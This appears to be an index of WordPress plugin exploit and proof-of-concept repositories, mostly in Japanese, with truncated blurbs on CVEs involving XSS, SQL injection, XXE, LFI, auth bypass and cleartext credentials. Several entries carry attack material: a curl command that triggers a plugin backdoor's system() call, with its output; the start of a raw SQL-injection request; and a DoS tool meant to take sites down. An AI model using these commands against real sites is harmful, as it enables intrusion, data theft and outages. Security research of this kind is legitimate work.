Cleartext-Storage-vulnerability-CVE-2023-5359-in-W3-Total-Cache

W3 Total Cache における平文保存の脆弱性 CVE-2023-5359 CVE-2023-5359 に脆弱なバージョン ≤2.7.5 を対象とします import requests import re from urllib.parse import urljoin Common paths where credentials are stored CREDENTIALPATHS = "/wp-content/plugins/w3-total-cache/ExtensionCloudFlarePlugin.php",...

CVE-2025-4094

CVE-2025-4094 – WordPress Digits プラグイン この方法は、Burp 内で視覚的に確認し、検出しきい値を微調整するのに役立ちます。 拡張スクリプト POCPioneer による Enhanced PoC 参考情報 WPScan 脆弱性エントリ WPVulnDB エントリ 公式プラグインページ CVE ID – CVE-2025-4094...

demo-CVE-2021-29447-lezione

POC CVE-2021029447 - WordPressにおけるXXE WordPress 5.6-5.7 - 認証済み Author+ XXE CVE-2021-29447 https://vulners.com/cve/CVE-2021-29447 使用方法 ステップ1. WordPressを起動 $ make up-wp ステップ2. 攻撃者用Webサーバーを起動 $ make up-mal ステップ3. 悪意のあるWAVファイルを生成 wavefile npmを使用 $ make make-wav ステップ4...

Wordpress_cve-2019-9787_defense

Wordpresscve-2019-9787defense お知らせ これは Sijia Zhanghttps://github.com/sijiahi と Bowen Zhouhttps://github.com/KonjakZhou によるプロジェクトです。 前提条件: 1 攻撃の再現: - http://localhost/wp-admin/ で Wordpress5.0 を設定・インストールします。 - 管理者として Wordpress にログインし、少なくとも1つの記事を投稿します。 -...

WordPress Duplicate Post plugin <= 1.5.6 - Authenticated (Subscriber+) Stored Cross-Site Scripting vulnerability

Authenticated Subscriber+ Stored Cross-Site Scripting vulnerability discovered by Kuba in WordPress Plugin Duplicate Post versions = 1.5.6...

CVE-2022-1609

CVE-2022-1609 CVE-2022-1609 WordPress Weblizar バックドア curl -s -d 'blowfish=1' -d "blowf=system'id';" 'http://localhost:8888/wp-json/am-member/license' uid=33www-data gid=33www-data groups=33www-data...

CVE-2021-42362

CVE-2021-42362 WordPressのPopular Postsプラグインは、/src/Image.phpファイルで見つかった不十分な入力ファイルタイプ検証により、任意のファイルアップロードに対して脆弱であり、これにより投稿者レベルのアクセス権限を持つ攻撃者およびそれ以上の権限を持つ攻撃者が、リモートコード実行を達成するために使用できる悪意のあるファイルをアップロードすることが可能です。...

CVE-2024-1207

Booking Calendar = 9.9 - 認証されていないSQLインジェクション CVE-2024-1207 https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/booking/booking-calendar-99-unauthenticated-sql-injection POC: POST /wp-admin/admin-ajax.php HTTP/1.1 Host: vulnerablesite.com User-Agent: Mozilla/5.0 Windows NT 10....

Shiva

Shiva まず、Shivaを監視対象にしてください。今後、これを完全なストレステストスイートにアップグレードする予定です。 Shivaは、load-scripts.phpを介してすべてのjQueryスクリプトを一度に読み込むことで、WordPressサイトに対してDenial Of Service（DOS）攻撃を実行するように設計されています。つまり、これはCVE-2018-6389のエクスプロイトです。 素晴らしさ Shivaはマルチスレッドを使用して、可能な限り迅速にWebサイトをダウンさせます。...

CVE-2024-38793-PoC

CVE-2024-38793-PoC CVE-2024-38793のエクスプロイトのための概念実証コード（Best Restaurant Menu by PriceListo = 1.4.1 - Authenticated Contributor+ SQL Injection） 概念実証 これは、WordPressプラグインBest Restaurant Menu a.k.a Great Restaurant Menu WPのバージョン1.4.2未満に対するSQLインジェクション脆弱性CVE-2024-38793の概念実証エクスプロイトです。...

CVE-2025-3102

🔐 CVE-2025-3102 – SureTriggers WordPress プラグインにおける認証バイパス 🚨 CVE-2025-3102 は、SureTriggers: All-in-One Automation Platform WordPress プラグインに影響する重大な認証バイパス脆弱性であり、100,000以上のウェブサイト でアクティブにインストールされています。この脆弱性の性質と展開規模により、重大なセキュリティリスクをもたらします。 🧠 脆弱性の概要 CVE ID : CVE-2025-3102 影響を受けるプラグイン : SureTriggers –...

WordPress WP Full Stripe Free plugin <= 8.5.6 - Broken Access Control vulnerability

Broken Access Control vulnerability discovered by Ananda Dhakal Patchstack in WordPress Plugin WP Full Stripe Free versions = 8.5.6...

CVE-2025-2294

🚨 Kubio AI Page Builder = 2.5.1 - 未認証のローカルファイルインクルージョン 📝 説明 WordPress用プラグインKubio AI Page...

CVE-2024-10958-WPPA-Exploit

WordPress WP Photo Album Plus 任意ショートコード実行 CVE-2024-10958 WordPress WP Photo Album Plus プラグインに存在する、未認証の任意ショートコード実行（arbitrary shortcode execution）脆弱性の PoC コードです。 詳細 影響を受けるバージョン: = 8.8.08.007 CVSS スコア: 7.3 高 脆弱性の種類: 任意ショートコード実行（Arbitrary Shortcode Execution） 脆弱性の説明 WP Photo Album Plus...

cve-2019-6715

cve-2019-6715 TomNomNom に敬意を表します。コードの 99.9% は彼によるものです.... ビルド go get github.com/fatih/color go build 使用方法 cat list.txt | ./2019-6715 すべての脆弱性 URL は text.log に記録されます CVE 2019-6715 説明: WordPress 用 W3 Total Cache プラグイン 0.9.4 より前のバージョンの pub/sns.php は、SubscriptionConfirmation JSON データ内の SubscribeURL...

WordPress Form Maker by 10Web – Mobile-Friendly Drag & Drop Contact Form Builder plugin <= 1.15.47 - Unauthenticated Stored Cross-Site Scripting vulnerability

Unauthenticated Stored Cross-Site Scripting vulnerability discovered by lhking in WordPress Plugin Form Maker by 10Web versions = 1.15.47...

wordpress-snapcreek

wordpress-snapcreek snapcreekduplicator ファイル読み取り脆弱性 https://www.cvedetails.com/cve/CVE-2020-11738/ ステップ1: MSFconsole を開き、wordpressscanner を使用してターゲットマシンで使用されているすべてのプラグインを検索してください。 ステップ2: python スクリプトを使用した攻撃: 攻撃者マシンに pip3 をインストール/アップグレードしてください sudo apt install python3-pip sudo pip3 install requsts...

CVE-2024-27954

CVE-2024-27954 - WordPress wp-automatic プラグイン LFI スキャナー このプロジェクトは、WordPress プラグイン wp-automatic で見つかった重大な脆弱性 CVE-2024-27954 を対象とした、Python ベースのローカルファイルインクルージョン LFI 脆弱性スキャナーを提供します。この脆弱性により、認証されていない攻撃者が file:// インジェクションベクターを使用してサーバー上の任意のファイルを読み取ることができます。 🚨 脆弱性の概要 CVE-ID: CVE-2024-27954 コンポーネント:...

litespeed-cache-xss-poc

LiteSpeed Cache XSS PoC PoC for XSS vulnerability in the LiteSpeed Cache WordPress plugin allowing elevated privileges. This vulnerability was fixed in version 5.7.0.1 of the plugin, and was assigned CVE-2023-40000. According to the plugin's advanced view page, about 35% of users are still using ...

WordPress Awesome Support – WordPress HelpDesk & Support Plugin plugin <= 6.4.0 - Authenticated (Subscriber+) Stored Cross-Site Scripting vulnerability

Authenticated Subscriber+ Stored Cross-Site Scripting vulnerability discovered by Nhien Pham nhienit nhienit in WordPress Plugin Awesome Support versions = 6.4.0...